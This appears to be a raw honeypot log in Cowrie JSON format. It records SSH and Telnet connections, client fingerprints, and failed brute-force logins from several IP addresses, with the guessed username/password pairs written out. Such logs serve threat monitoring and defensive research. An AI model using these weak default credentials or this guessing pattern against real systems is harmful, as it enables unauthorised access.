{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:32.974375Z","src_ip":"109.237.96.109","session":"ca170c3136b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:33.067510Z","src_ip":"109.237.96.109","session":"ca170c3136b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sz9kqcctwy","message":"login attempt [root/sz9kqcctwy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:33.351489Z","src_ip":"109.237.96.109","session":"ca170c3136b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:33.385085Z","src_ip":"31.40.204.166","session":"aec10e13ffa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":33434,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5150f3356ca","protocol":"telnet","message":"New connection: 176.65.139.118:33434 (159.203.135.109:23) [session: b5150f3356ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:34.309977Z"}
{"eventid":"cowrie.session.closed","duration":0.004869222640991211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:34.314628Z","src_ip":"176.65.139.118","session":"b5150f3356ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":33824,"dst_ip":"159.203.135.109","dst_port":23,"session":"09de1991d1ef","protocol":"telnet","message":"New connection: 176.65.139.118:33824 (159.203.135.109:23) [session: 09de1991d1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:34.387809Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:34.446510Z","src_ip":"109.237.96.109","session":"ca170c3136b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:34.519309Z","src_ip":"31.40.204.166","session":"aec10e13ffa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.274868965148926,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:35.149248Z","src_ip":"152.42.224.71","session":"9c0d8c8ec6f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.798500299453735,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:35.504895Z","src_ip":"152.42.224.71","session":"d85e47aa0556","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54850,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4de165c2176","protocol":"telnet","message":"New connection: 152.42.224.71:54850 (10.17.0.5:23) [session: b4de165c2176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:41.746377Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60618,"dst_ip":"159.203.135.109","dst_port":22,"session":"20b232bae0f2","protocol":"ssh","message":"New connection: 31.40.204.166:60618 (159.203.135.109:22) [session: 20b232bae0f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:43.485623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:43.501045Z","src_ip":"31.40.204.166","session":"20b232bae0f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:43.618314Z","src_ip":"31.40.204.166","session":"20b232bae0f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:44.602947Z","src_ip":"31.40.204.166","session":"20b232bae0f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54860,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cb9c68d817c","protocol":"telnet","message":"New connection: 152.42.224.71:54860 (10.17.0.5:23) [session: 4cb9c68d817c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:45.050348Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:45.801165Z","src_ip":"31.40.204.166","session":"20b232bae0f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.944961071014404,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:47.332673Z","src_ip":"176.65.139.118","session":"09de1991d1ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":49746,"dst_ip":"159.203.135.109","dst_port":23,"session":"e432ba7bd87f","protocol":"telnet","message":"New connection: 176.65.139.118:49746 (159.203.135.109:23) [session: e432ba7bd87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:47.606814Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.103","src_port":44240,"dst_ip":"10.17.0.5","dst_port":22,"session":"09ca43b50883","protocol":"ssh","message":"New connection: 94.26.106.103:44240 (10.17.0.5:22) [session: 09ca43b50883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:47.835004Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:47.850762Z","src_ip":"94.26.106.103","session":"09ca43b50883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.103","src_port":44256,"dst_ip":"10.17.0.5","dst_port":22,"session":"b85d9cb8f97d","protocol":"ssh","message":"New connection: 94.26.106.103:44256 (10.17.0.5:22) [session: b85d9cb8f97d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:48.115270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:48.120427Z","src_ip":"94.26.106.103","session":"b85d9cb8f97d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:48.210093Z","src_ip":"94.26.106.103","session":"b85d9cb8f97d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"Aa111111","message":"login attempt [jenkins/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:48.391075Z","src_ip":"94.26.106.103","session":"b85d9cb8f97d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:49.481808Z","src_ip":"94.26.106.103","session":"b85d9cb8f97d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.2299349308013916,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:49.836648Z","src_ip":"176.65.139.118","session":"e432ba7bd87f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":51718,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d6660242f12","protocol":"telnet","message":"New connection: 176.65.139.118:51718 (159.203.135.109:23) [session: 0d6660242f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:50.025875Z"}
{"eventid":"cowrie.session.closed","duration":2.321486473083496,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:52.347080Z","src_ip":"176.65.139.118","session":"0d6660242f12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":52280,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9f2365d5d63","protocol":"telnet","message":"New connection: 176.65.139.118:52280 (159.203.135.109:23) [session: f9f2365d5d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:52.889665Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41294,"dst_ip":"159.203.135.109","dst_port":22,"session":"70b25274d9f3","protocol":"ssh","message":"New connection: 31.40.204.166:41294 (159.203.135.109:22) [session: 70b25274d9f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:55.018687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:55.028900Z","src_ip":"31.40.204.166","session":"70b25274d9f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:55.198227Z","src_ip":"31.40.204.166","session":"70b25274d9f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:55.725650Z","src_ip":"31.40.204.166","session":"70b25274d9f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:56.916570Z","src_ip":"31.40.204.166","session":"70b25274d9f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.23034596443176,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:57.137138Z","src_ip":"152.42.224.71","session":"1b288932d5fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.66046333312988,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:57.180351Z","src_ip":"152.42.224.71","session":"da3b88c94f64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.789661407470703,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:57.679208Z","src_ip":"176.65.139.118","session":"f9f2365d5d63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":41708,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca67fab73342","protocol":"telnet","message":"New connection: 176.65.139.118:41708 (159.203.135.109:23) [session: ca67fab73342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:57.830792Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35032,"dst_ip":"10.17.0.5","dst_port":23,"session":"61fccd307235","protocol":"telnet","message":"New connection: 152.42.224.71:35032 (10.17.0.5:23) [session: 61fccd307235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:52:58.791541Z"}
{"eventid":"cowrie.login.failed","username":"Administrator","password":"Vision2","message":"login attempt [Administrator/Vision2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:01.416806Z","src_ip":"176.65.139.118","session":"ca67fab73342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.23869347572327,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:02.295010Z","src_ip":"152.42.224.71","session":"4110dc56540d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.330143213272095,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:03.160819Z","src_ip":"176.65.139.118","session":"ca67fab73342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":34806,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9206afe875d","protocol":"telnet","message":"New connection: 176.65.139.118:34806 (159.203.135.109:23) [session: b9206afe875d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:03.488359Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35046,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdf02d8b95a0","protocol":"telnet","message":"New connection: 152.42.224.71:35046 (10.17.0.5:23) [session: cdf02d8b95a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:04.742726Z"}
{"eventid":"cowrie.session.closed","duration":2.212831735610962,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:05.701056Z","src_ip":"176.65.139.118","session":"b9206afe875d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":44084,"dst_ip":"159.203.135.109","dst_port":23,"session":"acb477a72be1","protocol":"telnet","message":"New connection: 176.65.139.118:44084 (159.203.135.109:23) [session: acb477a72be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:06.838277Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38124,"dst_ip":"10.17.0.5","dst_port":23,"session":"8799f0fd46ec","protocol":"telnet","message":"New connection: 152.42.224.71:38124 (10.17.0.5:23) [session: 8799f0fd46ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:07.050865Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"be84dfd32228","protocol":"telnet","message":"New connection: 152.42.224.71:38128 (10.17.0.5:23) [session: be84dfd32228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:07.149423Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54356,"dst_ip":"159.203.135.109","dst_port":22,"session":"8629eb13371f","protocol":"ssh","message":"New connection: 31.40.204.166:54356 (159.203.135.109:22) [session: 8629eb13371f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:07.601331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:07.605862Z","src_ip":"31.40.204.166","session":"8629eb13371f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:07.802162Z","src_ip":"31.40.204.166","session":"8629eb13371f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:08.232664Z","src_ip":"31.40.204.166","session":"8629eb13371f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:09.411882Z","src_ip":"31.40.204.166","session":"8629eb13371f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.055565595626831,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:09.893705Z","src_ip":"176.65.139.118","session":"acb477a72be1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":52410,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9a3b32071ce","protocol":"telnet","message":"New connection: 176.65.139.118:52410 (159.203.135.109:23) [session: a9a3b32071ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:10.238059Z"}
{"eventid":"cowrie.session.closed","duration":30.549766063690186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:12.296017Z","src_ip":"152.42.224.71","session":"b4de165c2176","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":109.09388470649719,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:12.528985Z","src_ip":"152.42.224.71","session":"bc11860a0892","protocol":"telnet"}
